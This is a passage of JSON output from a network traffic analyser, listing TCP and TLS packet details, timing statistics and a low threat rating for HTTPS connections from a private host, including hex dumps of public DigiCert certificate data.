\"timestamp_iso\": \"2026-06-14T19:58:35.882979\", \"timestamp_human\": \"2026-06-14 19:58:35.882\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179308273, \"tcp_ack\": 4179543434, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 27, \"timestamp\": 1781447315.88584, \"timestamp_iso\": \"2026-06-14T19:58:35.885840\", \"timestamp_human\": \"2026-06-14 19:58:35.885\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19790, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179308274, \"tcp_ack\": 4179543637, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 29, \"timestamp\": 1781447320.196016, \"timestamp_iso\": \"2026-06-14T19:58:40.196016\", \"timestamp_human\": \"2026-06-14 19:58:40.196\", \"size\": 2006, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19791, \"ip_len\": 1992, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179308274, \"tcp_ack\": 4179543637, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 31, \"timestamp\": 1781447320.200948, \"timestamp_iso\": \"2026-06-14T19:58:40.200948\", \"timestamp_human\": \"2026-06-14 19:58:40.200\", \"size\": 2470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19793, \"ip_len\": 2456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179310226, \"tcp_ack\": 4179543637, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2416, \"payload_preview\": \"d297d7e77a360b09f5ac4b969076787aeaa5e5dd33894d3d11800802207946295b526fb444aeca904888e1aedaa188ade2b50abfb705372ad7601ac60d300d06092a864886f70d01010b05000382010100c8d99f18d82dbd8fdfd8d58dd4404db27c3825d173ec1750fc69596cf7f7268f13f7b982f074ddce49d333cf5f6e802435c86f6c265876cc895636741eec7a543bd2b4f58372d61a171e6753cb35bf16babf0feedd032ec85c7d8d80f51cb75209525f57ec8d10ddc3a4e7923009d34634b8383d79f461ebd1752b81f5b72c63ebc2d5acb1af1597ae4fea4a04e746130aa2238fed38e5e6423e2a49daee7f872b2f4210dad2bec178d6ddb3d12812dac0af7386a5a6253caef1cfd70339d142e95290274b6daff341fef1275f1bc0ec3bdc5c30368794281a81ffdaa1ba0b87869fcf9f7bc974fb79d870c220432bdedd63d1d0710ab1758da55ed1de171b800004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631313037313930355a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303631313037303330305aa011180f32303236303631383036303330305a300d06092a864886f70d01010b05000382010100617fa930ba436de93cc8a6a5d2ee1315c0800425a20212f8b2e533422046b4f06532049274f7d1a3a9100edb1ea33ff5edf97238f4e1675afebca2b0f22172077c82c4d2827e3a8daeb258093e3b77be5d146d63f157672abb7eeb684cadf378c3f238cdd749d1eba869f4ea18bc5f40f85485d6d89e3ad5398904c0a194cd286b7a8345009d6ee6510a7f3e2d5fe136a9d01ed64c7a980e05a0e82a37d1c3e31aa549edadc974357cf32f90813884755efacc5d44d25657083db034e224018d3c73077a4c60608d9b7362cba391111041de8d6fa79026e724da6ad3467511d01987535fb084bc0bcee6bb81bb3bcc2c9f846b896cfe4ea5680e15e2b658c0320c0001690300186104fa19cf9ec6e4b26f657aee9db717830f25131f08324866033e1409188d337abdd46899a18f546dcb77886f37c18be07e273ec06647935b3f16e65e6a40a14bfb8e4564b9fd7237a41ff96af5be9dfefd1a2e23c92687455e94da18ef843f6f82080401006a5b5dbab81bb93b564a91b629316a4e423ebc383f757619af12c21d6b6279d1460c17977e8b59c8711ddb1db044cf66e8a02b9dbe2503f6897f9512295d6496cd197aa6cd5fee34739e98c95a417279a6b1e27489f8fb966540300a8ed5111d157b57329b9b306adafc50f020d48e060fd798ffb40c54facaf720fc8825abb2e00033e5d0b9f3d7db9e0c9d6dc77684234dd87f74dae0c814033b2ab168689cbe3f3679e3a3a65146f5bc9ab5e3ef87f873610952952a49d7a5208e3f3cab0c4fc95dcb753b66ed02dd15c6a54b4989a681473fabcc2dd52e7d2e0e94cbf1ba15027d0bb24933c2c1b7b2bfa510acee34d93952780a6c56374c10d0acd71cf50e000000\", \"payload_ascii\": \"z6\\u000b\\tKvxz3M=\\u0011\\b\\u0002 yF)[RoDH\\n\\u00057*`\\u001a\\r0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u0018-@M|8%s\\u0017PiYl&\\u0013tI3_n$5ol&XvV6t\\u001ezT;r\\u001a\\u0017\\u001egS5\\u0016\\u000f\\u0003.\\\\}\\u001cR\\tR_W\\u00100\\tF48=yau+,c\\u0015OJ\\u0004F\\u0013\\n#8B>*I\\u007f+/B\\u0010x(\\u0012s%<\\u00039BR'KmA'_\\u001b;\\\\06(\\u001a\\u000b{typ C+cq\\nu^\\u0017\\u001b\\u0000\\u00040\\u00040\\u0003\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\f\\u0006+V\\u0002zP,#f0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r210330000000Z\\u0017\\r310329235959Z0Y1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1301\\u0006\\u0003U\\u0004\\u0003\\u0013*DigiCert Global G2 TLS RSA SHA256 2020 CA10\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000\\u0010bOcoRVm'{z\\u0012V`A\\u0015p\\u0012\\u0000'\\nW8[}Qq\\u000ejA[5\\u001b{$0V}\\u0014\\u0014M\\u0010\\u0016\\\"1\\\"\\u0011ai&x\\u001f}fuDs]\\nYC:\\u000fHk7cFE}#Q\\u0007\\u001eQ_IFT\\u007f,\\u0013\\u0015<\\u00039i\\f2\\u0016WLGB|}MTB\\u0004wH\\u0011*Cp?vkLI$^\\rFlbRBu^^a\\u001f\\u001f\\u007f\\t=\\u007fGi\\u0002\\u0003\\u0001\\u0000\\u0001\\u00010\\u0001~0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u00170\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0001\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00020v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=\\u0006\\u0003U\\u001d \\u00046040\\u000b\\u0006\\t`H\\u0001l\\u0002\\u00010\\u0007\\u0006\\u0005g\\f\\u0001\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00030\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000p(i|t&{Se\\u0006ZCMLV_\\u0005 .YJ*.J;o)0?${\\u0007,kv3\\u0000URY\\u000f\\u0010r\\t\\u0004_.2uXW1~7\\u0001fm)\\u001af\\tmn/\\u0001\\u0014\\\\Vd\\u0001}8S]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260611071905Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\u0005ef\\u007fA\\u0004i\\f[|s\\u0000\\u0018\\u000f20260611070300Z\\u0011\\u0018\\u000f20260618060300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000a\\u007f0Cm<\\u0013\\u0015\\u0004%\\u0002\\u00123B Fe2\\u0004t\\u0010\\u000e\\u001e?r8gZ!r\\u0007|~:X\\t>;w]\\u0014mcWg*~hLx8Ii\\u0018_@T:9\\u0004(kzE\\u0000nQ\\n\\u007f>-_6\\u001eLz\\u000e\\u0005*7\\u001aIt5|/8u^]DVW\\b=4$\\u0001<s\\u0007zL``sb\\u0011\\u0010Ao&$jFu\\u0011\\u0019S_\\u000b;,klNh\\u000e\\u0015X2\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004\\u0019oez\\u0017\\u000f%\\u0013\\u001f\\b2Hf\\u0003>\\u0014\\t\\u00183zhTmwo7~'>fG[?\\u0016^j@KEdr7\\u001fj\\u001a.#&E^\\u0018?o\\b\\u0004\\u0001\\u0000j[]\\u001b;VJ)1jNB>8?uv\\u0019\\u0012\\u001dkbyF\\f\\u0017~Yq\\u001d\\u001dDf+%\\u0003\\u007f\\u0012)]d\\u0019z_4sZAryte@0\\n\\u0011\\u001d\\u0015{W20jP \\u0006\\u000f\\fT %\\u00003\\fmv#M\\u007ft\\u0014\\u0003;*hh?6yQFsa\\tR*I ?<\\fO]u;f\\u0002\\u0015KIG?-.}.\\u000e\\u0015\\u0002}\\u000bI3\\u001049Rx\\nlV7L\\u0010\\u001c\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 34, \"timestamp\": 1781447320.21861, \"timestamp_iso\": \"2026-06-14T19:58:40.218610\", \"timestamp_human\": \"2026-06-14 19:58:40.218\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19795, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179312642, \"tcp_ack\": 4179543795, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 35, \"timestamp\": 1781447320.977316, \"timestamp_iso\": \"2026-06-14T19:58:40.977316\", \"timestamp_human\": \"2026-06-14 19:58:40.977\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19796, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179312642, \"tcp_ack\": 4179543795, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"2b8eecdf03d015d69bd7e6377984c0ca298eebffebdd2da246b5c2fa69cd62dd\", \"payload_ascii\": \"+\\u0003\\u00157y)-Fib\"}, {\"packet_number\": 38, \"timestamp\": 1781447320.979285, \"timestamp_iso\": \"2026-06-14T19:58:40.979285\", \"timestamp_human\": \"2026-06-14 19:58:40.979\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19797, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179313069, \"tcp_ack\": 4179543882, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 40, \"timestamp\": 1781447320.979396, \"timestamp_iso\": \"2026-06-14T19:58:40.979396\", \"timestamp_human\": \"2026-06-14 19:58:40.979\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19798, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179313069, \"tcp_ack\": 4179543920, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 42, \"timestamp\": 1781447320.980876, \"timestamp_iso\": \"2026-06-14T19:58:40.980876\", \"timestamp_human\": \"2026-06-14 19:58:40.980\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19799, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179313069, \"tcp_ack\": 4179544034, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 43, \"timestamp\": 1781447322.077957, \"timestamp_iso\": \"2026-06-14T19:58:42.077957\", \"timestamp_human\": \"2026-06-14 19:58:42.077\", \"size\": 1200, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19800, \"ip_len\": 1186, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179313069, \"tcp_ack\": 4179544034, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 46, \"timestamp\": 1781447322.079652, \"timestamp_iso\": \"2026-06-14T19:58:42.079652\", \"timestamp_human\": \"2026-06-14 19:58:42.079\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19801, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179314215, \"tcp_ack\": 4179544098, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 47, \"timestamp\": 1781447322.650325, \"timestamp_iso\": \"2026-06-14T19:58:42.650325\", \"timestamp_human\": \"2026-06-14 19:58:42.650\", \"size\": 689, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19802, \"ip_len\": 675, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179314215, \"tcp_ack\": 4179544098, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1781447322.65463, \"timestamp_iso\": \"2026-06-14T19:58:42.654630\", \"timestamp_human\": \"2026-06-14 19:58:42.654\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19803, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179314850, \"tcp_ack\": 4179544208, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 51, \"timestamp\": 1781447322.950086, \"timestamp_iso\": \"2026-06-14T19:58:42.950086\", \"timestamp_human\": \"2026-06-14 19:58:42.950\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.99.204.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 19804, \"ip_len\": 668, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63963, \"tcp_seq\": 3179314850, \"tcp_ack\": 4179544208, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 14, \"PSH\": 6}, \"packet_sizes\": [66, 54, 2006, 2470, 54, 481, 54, 54, 54, 1200, 54, 689, 54, 682], \"inter_packet_intervals\": [0.00286102294921875, 4.310176134109497, 0.004931926727294922, 0.01766204833984375, 0.7587058544158936, 0.0019690990447998047, 0.00011110305786132812, 0.0014798641204833984, 1.097080945968628, 0.0016951560974121094, 0.5706729888916016, 0.0043048858642578125, 0.2954561710357666], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 7.067107200622559, \"avg_packet_size\": 569.4285714285714, \"packets_per_second\": 1.9810085799698505, \"bytes_per_second\": 1128.042885679975, \"min_packet_size\": 54, \"max_packet_size\": 2470, \"median_packet_size\": 66, \"avg_interval\": 0.5436236308171198, \"min_interval\": 0.00011110305786132812, \"max_interval\": 4.310176134109497}, {\"source\": \"10.152.152.11\", \"target\": \"52.98.232.34\", \"packet_count\": 16, \"total_bytes\": 1615, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [64008], \"dst_ports\": [443], \"first_packet\": 1781447323.165555, \"last_packet\": 1781447330.802238, \"packets\": [{\"packet_number\": 53, \"timestamp\": 1781447323.165555, \"timestamp_iso\": \"2026-06-14T19:58:43.165555\", \"timestamp_human\": \"2026-06-14 19:58:43.165\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44951, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53880956, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 55, \"timestamp\": 1781447323.16586, \"timestamp_iso\": \"2026-06-14T19:58:43.165860\", \"timestamp_human\": \"2026-06-14 19:58:43.165\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44952, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53880957, \"tcp_ack\": 3746058328, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 56, \"timestamp\": 1781447323.166265, \"timestamp_iso\": \"2026-06-14T19:58:43.166265\", \"timestamp_human\": \"2026-06-14 19:58:43.166\", \"size\": 260, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44953, \"ip_len\": 246, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53880957, \"tcp_ack\": 3746058328, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 59, \"timestamp\": 1781447323.880639, \"timestamp_iso\": \"2026-06-14T19:58:43.880639\", \"timestamp_human\": \"2026-06-14 19:58:43.880\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44954, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881163, \"tcp_ack\": 3746062376, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 61, \"timestamp\": 1781447323.880766, \"timestamp_iso\": \"2026-06-14T19:58:43.880766\", \"timestamp_human\": \"2026-06-14 19:58:43.880\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.98.232.34\", \"ttl\": 128, \"ip_id\": 44955, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 443, \"tcp_seq\": 53881163, \"tcp_ack\": 3746062692, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 62, 